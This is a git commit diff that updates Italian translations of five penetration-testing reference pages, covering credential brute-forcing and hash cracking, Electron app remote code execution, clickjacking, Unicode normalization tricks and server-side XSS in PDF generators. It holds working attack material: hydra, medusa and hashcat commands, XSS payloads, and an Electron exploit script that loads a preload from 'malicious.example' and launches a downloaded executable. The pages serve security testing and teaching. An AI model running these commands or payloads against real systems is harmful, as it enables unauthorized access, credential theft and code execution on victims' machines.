Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

2025-10-10 18:36:50 +00:00 · 2025-03-09 14:22:18 +00:00 · 2025-03-09 14:22:18 +00:00 · a496874a0f
commit a496874a0f
parent 87d80bd5e9
5 changed files with 107 additions and 45 deletions
--- a/src/generic-hacking/brute-force.md
+++ b/src/generic-hacking/brute-force.md
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
 ^ Special characters including spac
 crunch 6 8 -t ,@@^^%%
 ```
-### Cewl
+### Elenchi di parole basati su siti web
 ```bash
+# Cewl gets words from the victims page
 cewl example.com -m 5 -w words.txt
+
+# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
+cat /path/to/urls.txt | tok
+
+# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
+cat /path/to/js-urls.txt | python3 getjswords.py
 ```
 ### [CUPP](https://github.com/Mebus/cupp)

@ -128,11 +135,11 @@ ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
 medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
 ```
-### HTTP Generico Brute
+### HTTP Generic Brute

 #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)

-### HTTP Autenticazione di Base
+### HTTP Basic Auth
 ```bash
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
 # Use https-get mode for https
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
 legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 ```
-### HTTP - Modulo Post
+### HTTP - Post Form
 ```bash
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
 # Use https-post-form mode for https
@ -332,6 +339,8 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
 ```bash
 hydra -L <Username_list> rsh://<Victim_IP> -v -V
 ```
+[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
+
 ### Rsync
 ```bash
 nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
@ -393,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
 ```
 #### Chiavi SSH deboli / PRNG prevedibile di Debian

-Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può portare a uno spazio di chiavi notevolmente ridotto che può essere attaccato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Sono disponibili anche set pre-generati di chiavi deboli come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può risultare in uno spazio di chiavi notevolmente ridotto che può essere attaccato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Sono disponibili anche set pre-generati di chiavi deboli come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).

 ### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

-Il protocollo testuale STOMP è un protocollo di messaggistica ampiamente utilizzato che **consente comunicazioni e interazioni senza soluzione di continuità con i popolari servizi di messaggistica** come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per scambiare messaggi e svolgere varie operazioni di messaggistica.
+Il protocollo di testo STOMP è un protocollo di messaggistica ampiamente utilizzato che **consente comunicazioni e interazioni senza soluzione di continuità con i popolari servizi di messaggistica** come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per scambiare messaggi e svolgere varie operazioni di messaggistica.
 ```bash
 legba stomp --target localhost:61613 --username admin --password data/passwords.txt
 ```
@ -440,7 +449,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
 ### Database di cracking online

 - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore della sfida)
+- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di sfida)
 - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
 - [https://crackstation.net/](https://crackstation.net) (Hash)
 - [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
@ -451,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
 - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
 - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)

-Controlla questo prima di provare a forzare un Hash.
+Controlla questo prima di provare a forzare un Hash. 

 ### ZIP
 ```bash
@ -469,9 +478,9 @@ john zip.john
 hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
 .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
 ```
-#### Attacco zip con testo in chiaro noto
+#### Attacco zip a testo in chiaro noto

-Devi conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. Puoi controllare **i nomi dei file e la dimensione dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
+È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. Puoi controllare **i nomi dei file e la dimensione dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
 Scarica [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina delle release.
 ```bash
 # You need to create a zip file containing only the file that is inside the encrypted zip
@ -506,7 +515,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
 ```
 ### PDF Owner Password

-Per decifrare una password di un PDF Owner controlla questo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
+Per decifrare una password di un PDF Owner, controlla questo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)

 ### JWT
 ```bash
@ -542,7 +551,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
 ```
 ### Lucks image

-#### Metodo 1
+#### Method 1

 Installa: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
 ```bash
@ -687,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
 ## Use it to crack the password
 hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
 ```
- Attacco Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`)
+- Wordlist + Mask (`-a 6`) / Maschera + Wordlist (`-a 7`) attacco
 ```bash
 # Mask numbers will be appended to each word in the wordlist
 hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -699,19 +708,19 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
 ```bash
 hashcat --example-hashes | grep -B1 -A2 "NTLM"
 ```
-Cracking Linux Hashes - file /etc/shadow
+Cracking Linux Hashes - /etc/shadow file
 ```
 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
 3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
 7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
 1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
 ```
-Cracking delle Hash di Windows
+Cracking Windows Hashes
 ```
 3000 | LM                                               | Operating-Systems
 1000 | NTLM                                             | Operating-Systems
 ```
-Cracking delle Hash delle Applicazioni Comuni
+Cracking Common Application Hashes
 ```
 900 | MD4                                              | Raw Hash
 0 | MD5                                              | Raw Hash
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@ -34,7 +34,7 @@ win.loadURL(`file://path/to/index.html`)
 ```
 Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune delle configurazioni **preveniranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**.

-L'applicazione Electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:
+L'applicazione electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:

 - **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.
 - **`contextIsolation`** - è `on` per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati.
@ -111,7 +111,7 @@ Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla ese

 ## RCE: XSS + nodeIntegration

-Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calc su Windows è:
+Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è:
 ```html
 <script>
 require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")

 ## RCE: preload

-Lo script indicato in questa impostazione è l**oaded before other scripts in the renderer**, quindi ha **unlimited access to Node APIs**:
+Lo script indicato in questa impostazione è l**oaded prima di altri script nel renderer**, quindi ha **accesso illimitato alle API di Node**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md

 ### Bypass dell'evento di clic

-Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di aggirarle **facendo un clic centrale** invece di un normale clic sinistro.
+Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro.
 ```javascript
 window.addEventListener('click', (e) => {
 ```
@ -192,7 +192,7 @@ Quando un utente interagisce con i link o apre nuove finestre, vengono attivati
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa attraverso una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
+Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.

 **Ecco un pseudocodice semplificato:**

@ -200,7 +200,7 @@ Questi listener sono **sovrascritti dall'applicazione desktop** per implementare

 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)

-Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows capaci di sfruttare questa vulnerabilità.
+Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.

 In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.

@ -224,6 +224,27 @@ window.open(
 )
 </script>
 ```
+## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
+
+Questa vulnerabilità può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+
+Il **webviewTag** è una **funzionalità deprecata** che consente l'uso di **NodeJS** nel **processo di rendering**, che dovrebbe essere disabilitato in quanto consente di caricare uno script all'interno del contesto di preload come:
+```xml
+<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
+```
+Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe utilizzare quel tag per **caricare un script di pre-caricamento arbitrario**.
+
+Questo script di pre-caricamento è stato abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando **`shell.openExternal`** per ottenere RCE:
+```javascript
+(async() => {
+const { ipcRenderer } = require("electron");
+await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
+setTimeout(async () => {
+const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
+await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
+}, 5000);
+})();
+```
 ## Lettura di File Interni: XSS + contextIsolation

 **Disabilitare `contextIsolation` consente l'uso di `<webview>` tags**, simile a `<iframe>`, per leggere ed esfiltrare file locali. Un esempio fornito dimostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
@ -251,7 +272,7 @@ frames[0].document.body.innerText
 Se il **chromium** utilizzato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite un XSS**.\
 Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

-## **XSS Phishing tramite bypass regex URL interne**
+## **XSS Phishing tramite bypass regex URL interni**

 Supponendo che tu abbia trovato un XSS ma **non puoi attivare RCE o rubare file interni**, potresti provare a usarlo per **rubare credenziali tramite phishing**.

@ -268,9 +289,13 @@ Nel caso in cui il **regex** utilizzato dalla funzione sia **vulnerabile a bypas
 window.open("<http://subdomainagoogleq.com/index.html>")
 </script>
 ```
+## `file://` Protocol
+
+Come menzionato nella [documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine che girano su **`file://`** hanno accesso unilaterale a ogni file sul tuo computer, il che significa che **i problemi di XSS possono essere utilizzati per caricare file arbitrari** dalla macchina dell'utente. Utilizzare un **protocollo personalizzato** previene problemi come questo, poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
+
 ## Modulo remoto

-Il modulo Remote di Electron consente ai **processi di rendering di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come attacchi di cross-site scripting (XSS).
+Il modulo Remote di Electron consente ai **processi di rendering di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).

 > [!TIP]
 > Anche se il modulo **remote** espone alcune API dal principale ai processi di rendering, non è semplice ottenere RCE solo abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
@ -337,12 +362,12 @@ console.log('Recent Places:', recentPlaces);
 ### **subscribeNotification / subscribeWorkspaceNotification**

 * **Ascolta** le **notifiche native macOS** utilizzando NSDistributedNotificationCenter.
-* Prima di **macOS Catalina**, potevi sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
-* Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (ad esempio, **blocco/sblocco dello schermo**, **montaggio del volume**, **attività di rete**, ecc.) registrando le notifiche **per nome**.
+* Prima di **macOS Catalina**, era possibile sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
+* Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (ad esempio, **blocco/sblocco dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando le notifiche **per nome**.

 ### **getUserDefault / setUserDefault**

-* **Interfaccia** con **NSUserDefaults**, che memorizza le **preferenze** dell'**applicazione** o **globali** su macOS.
+* **Interagisce** con **NSUserDefaults**, che memorizza le **preferenze** dell'**applicazione** o **globali** su macOS.

 * **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o **posizione geografica dell'utente**.

@ -368,13 +393,12 @@ Per ulteriori informazioni controlla:
 pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}

-
 ## **Tools**

 - [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili
- [**Electro.ng**](https://electro.ng/): Devi acquistarlo
+- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili.
+- [**Electro.ng**](https://electro.ng/): Devi acquistarlo.

 ## Labs

--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@ -89,10 +89,10 @@ background: #F00;
 ```
 ### XSS + Clickjacking

-Se hai identificato un **attacco XSS che richiede a un utente di cliccare** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
+Se hai identificato un **attacco XSS che richiede che un utente clicchi** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
 Esempio:\
 Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET.\
-Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
+Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori sono modificati, l'**utente eseguirà l'XSS**.

 ### DoubleClickjacking

@ -100,8 +100,10 @@ Inizialmente [spiegato in questo post](https://securityaffairs.com/172572/hackin

 Un esempio può essere visto in questo video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)

+Un esempio di codice può essere trovato [in questa pagina](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
+
 > [!WARNING]
-> Questa tecnica consente di ingannare l'utente a cliccare su 1 posto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l'attaccante deve trovare **azioni sensibili che possono essere eseguite con un solo clic, come le richieste OAuth per accettare permessi**.
+> Questa tecnica consente di ingannare l'utente a cliccare su 1 posto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l'attaccante deve trovare **azioni sensibili che possono essere eseguite con solo 1 clic, come le richieste OAuth che accettano permessi**.

 ## Strategie per Mitigare il Clickjacking

@ -139,7 +141,7 @@ L'**intestazione di risposta HTTP `X-Frame-Options`** informa i browser sulla le

 #### Direttiva frame-ancestors della Content Security Policy (CSP)

-La **direttiva `frame-ancestors` in CSP** è il metodo consigliato per la protezione contro il Clickjacking:
+La **direttiva `frame-ancestors` nella CSP** è il metodo consigliato per la protezione contro il Clickjacking:

 - `frame-ancestors 'none'` - Simile a `X-Frame-Options: deny`.
 - `frame-ancestors 'self'` - Simile a `X-Frame-Options: sameorigin`.
@ -153,7 +155,7 @@ Ulteriori dettagli ed esempi complessi possono essere trovati nella [documentazi

 ### Content Security Policy (CSP) con `child-src` e `frame-src`

-La **Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe consentire di caricare contenuti.
+La **Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando quali fonti il browser dovrebbe consentire per caricare contenuti.

 #### Direttiva `frame-src`

@ -181,7 +183,7 @@ Questa politica consente frame e worker dalla stessa origine (self) e https://tr

 #### Script JavaScript per rompere i frame

-Sebbene non siano completamente infallibili, gli script di frame-busting basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incapsulata in un frame. Esempio:
+Sebbene non siano completamente infallibili, gli script di frame-busting basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incapsulata. Esempio:
 ```javascript
 if (top !== self) {
 top.location = self.location
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@ -2,11 +2,11 @@

 {{#include ../../banners/hacktricks-training.md}}

-**Questo è un riepilogo di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).
+**Questo è un riassunto di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).

 ## Comprendere Unicode e Normalizzazione

-La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
+La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie dei caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:

 1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati.
 2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso.
@ -17,13 +17,13 @@ Ci sono **quattro algoritmi di normalizzazione Unicode**: NFC, NFD, NFKC e NFKD.

 Comprendere la codifica Unicode è fondamentale, specialmente quando si affrontano problemi di interoperabilità tra diversi sistemi o lingue. Ecco i punti principali:

- **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo è assegnato un valore numerico noto come "punto di codice".
+- **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo viene assegnato un valore numerico noto come "punto di codice".
 - **Rappresentazione in Byte**: Il punto di codice (o carattere) è rappresentato da uno o più byte in memoria. Ad esempio, i caratteri LATIN-1 (comuni nei paesi di lingua inglese) sono rappresentati utilizzando un byte. Tuttavia, le lingue con un set di caratteri più ampio necessitano di più byte per la rappresentazione.
 - **Codifica**: Questo termine si riferisce a come i caratteri vengono trasformati in una serie di byte. UTF-8 è uno standard di codifica prevalente in cui i caratteri ASCII sono rappresentati utilizzando un byte e fino a quattro byte per altri caratteri.
 - **Elaborazione dei Dati**: I sistemi che elaborano dati devono essere a conoscenza della codifica utilizzata per convertire correttamente il flusso di byte in caratteri.
 - **Varianti di UTF**: Oltre a UTF-8, ci sono altri standard di codifica come UTF-16 (che utilizza un minimo di 2 byte, fino a 4) e UTF-32 (che utilizza 4 byte per tutti i caratteri).

-È cruciale comprendere questi concetti per gestire e mitigare efficacemente i potenziali problemi derivanti dalla complessità di Unicode e dai suoi vari metodi di codifica.
+È fondamentale comprendere questi concetti per gestire e mitigare efficacemente i potenziali problemi derivanti dalla complessità di Unicode e dai suoi vari metodi di codifica.

 Un esempio di come Unicode normalizza due byte diversi che rappresentano lo stesso carattere:
 ```python
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch

 ### Scoprire

-Se riesci a trovare all'interno di un'app web un valore che viene restituito, potresti provare a inviare **‘KELVIN SIGN’ (U+0212A)** che **si normalizza in "K"** (puoi inviarlo come `%e2%84%aa`). **Se un "K" viene restituito**, allora viene eseguita qualche forma di **normalizzazione Unicode**.
+Se riesci a trovare all'interno di un'app web un valore che viene restituito, potresti provare a inviare **‘KELVIN SIGN’ (U+0212A)** che **si normalizza in "K"** (puoi inviarlo come `%e2%84%aa`). **Se un "K" viene restituito**, allora, qualche tipo di **normalizzazione Unicode** viene eseguita.

 Altro **esempio**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` dopo **unicode** è `Leonishan`.

@ -91,14 +91,24 @@ Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato co

 ### Fuzzing Regexes

-Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe **normalizzare l'URL inviato** ma poi **accedervi così com'è**.
+Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe essere **normalizzando l'URL inviato** ma poi **accedendovi così com'è**.

 Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).

+## Unicode Overflow
+
+Da questo [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), il valore massimo di un byte è 255, se il server è vulnerabile, un overflow può essere creato per produrre un carattere ASCII specifico e inaspettato. Ad esempio, i seguenti caratteri verranno convertiti in `A`:
+
+- 0x4e41
+- 0x4f41
+- 0x5041
+- 0x5141
+
 ## References

 - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
 - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
 - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
+- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@ -8,7 +8,7 @@ Se una pagina web sta creando un PDF utilizzando input controllato dall'utente,
 Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, lo **interpreterà**, e puoi **sfruttare** questo comportamento per causare un **Server XSS**.

 Per favore, nota che i tag `<script></script>` non funzionano sempre, quindi avrai bisogno di un metodo diverso per eseguire JS (ad esempio, sfruttando `<img` ).\
-Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaricare il PDF creato**, quindi sarai in grado di vedere tutto ciò che **scrivi tramite JS** (utilizzando `document.write()` per esempio). Ma, se **non puoi vedere** il PDF creato, probabilmente avrai bisogno di **estrarre le informazioni facendo richieste web a te** (Blind).
+Inoltre, nota che in un'esploitazione regolare sarai **in grado di vedere/scaricare il PDF creato**, quindi potrai vedere tutto ciò che **scrivi tramite JS** (utilizzando `document.write()` per esempio). Ma, se **non puoi vedere** il PDF creato, probabilmente avrai bisogno di **estrarre le informazioni facendo richieste web a te** (Blind).

 ### Generazione PDF Popolare

@ -22,7 +22,7 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric

 ### Discovery
 ```html
-<!-- Basic discovery, Write somthing-->
+<!-- Basic discovery, Write something-->
 <img src="x" onerror="document.write('test')" />
 <script>document.write(JSON.stringify(window.location))</script>
 <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
